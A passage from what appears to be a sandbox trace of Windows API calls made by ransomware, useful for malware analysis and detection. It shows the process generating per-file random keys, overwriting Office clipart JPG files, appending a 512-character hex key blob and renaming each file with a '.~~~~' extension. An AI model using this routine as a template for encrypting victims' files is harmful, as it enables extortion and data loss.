	[0108.329] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22831911845) returned 1
	[0108.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa396c10, dwHighDateTime=0x1d60e1e)) 
	[0108.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807d48
	[0108.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807d48 | out: hHeap=0x300000) returned 1
	[0108.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28288e0
	[0108.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.330] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.330] GetLastError () returned 0x0
	[0108.330] GetLastError () returned 0x0
	[0108.330] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.330] GetLastError () returned 0x0
	[0108.331] GetLastError () returned 0x0
	[0108.345] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.345] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.347] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.347] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.347] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.347] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.347] CloseHandle (hObject=0x138) returned 1
	[0108.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.348] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.~~~~")) returned 1
	[0108.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.349] GetLastError () returned 0x0
	[0108.369] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.379] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.379] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.379] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22836953914) returned 1
	[0108.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa409030, dwHighDateTime=0x1d60e1e)) 
	[0108.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807e28
	[0108.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807e28 | out: hHeap=0x300000) returned 1
	[0108.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828bd8
	[0108.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.380] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.380] GetLastError () returned 0x0
	[0108.380] GetLastError () returned 0x0
	[0108.380] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.380] GetLastError () returned 0x0
	[0108.381] GetLastError () returned 0x0
	[0108.383] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffeb076, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.383] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x14f8a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x14f8a, lpOverlapped=0x0) returned 1
	[0108.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.384] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.384] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.384] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.384] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.385] CloseHandle (hObject=0x138) returned 1
	[0108.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.385] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.~~~~")) returned 1
	[0108.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.387] GetLastError () returned 0x0
	[0108.388] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.388] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.389] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.389] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22838095087) returned 1
	[0108.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa42f190, dwHighDateTime=0x1d60e1e)) 
	[0108.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807e98
	[0108.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807e98 | out: hHeap=0x300000) returned 1
	[0108.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828aa8
	[0108.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.392] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.392] GetLastError () returned 0x0
	[0108.392] GetLastError () returned 0x0
	[0108.392] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.392] GetLastError () returned 0x0
	[0108.392] GetLastError () returned 0x0
	[0108.395] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe8212, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.395] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x17dee, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x17dee, lpOverlapped=0x0) returned 1
	[0108.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.397] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.397] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.397] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.397] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.397] CloseHandle (hObject=0x138) returned 1
	[0108.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.397] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.~~~~")) returned 1
	[0108.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.398] GetLastError () returned 0x0
	[0108.399] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.400] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.400] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.400] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22839014910) returned 1
	[0108.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa4552f0, dwHighDateTime=0x1d60e1e)) 
	[0108.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807ed0
	[0108.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807ed0 | out: hHeap=0x300000) returned 1
	[0108.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828d08
	[0108.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.401] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.401] GetLastError () returned 0x0
	[0108.401] GetLastError () returned 0x0
	[0108.401] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.401] GetLastError () returned 0x0
	[0108.401] GetLastError () returned 0x0
	[0108.406] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.406] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.408] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.408] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.408] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.408] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.408] CloseHandle (hObject=0x138) returned 1
	[0108.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.~~~~")) returned 1
	[0108.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.410] GetLastError () returned 0x0
	[0108.410] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.412] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.412] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.412] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22840220426) returned 1
	[0108.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa4552f0, dwHighDateTime=0x1d60e1e)) 
	[0108.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807f08
	[0108.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807f08 | out: hHeap=0x300000) returned 1
	[0108.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828da0
	[0108.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.413] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.413] GetLastError () returned 0x0
	[0108.413] GetLastError () returned 0x0
	[0108.413] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.413] GetLastError () returned 0x0
	[0108.414] GetLastError () returned 0x0
	[0108.426] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7778, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.426] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x18888, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x18888, lpOverlapped=0x0) returned 1
	[0108.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.439] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.439] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.439] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.439] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.439] CloseHandle (hObject=0x138) returned 1
	[0108.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a40d8
	[0108.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.~~~~")) returned 1
	[0108.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a40d8 | out: hHeap=0x300000) returned 1
	[0108.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.444] GetLastError () returned 0x0
	[0108.445] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.447] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
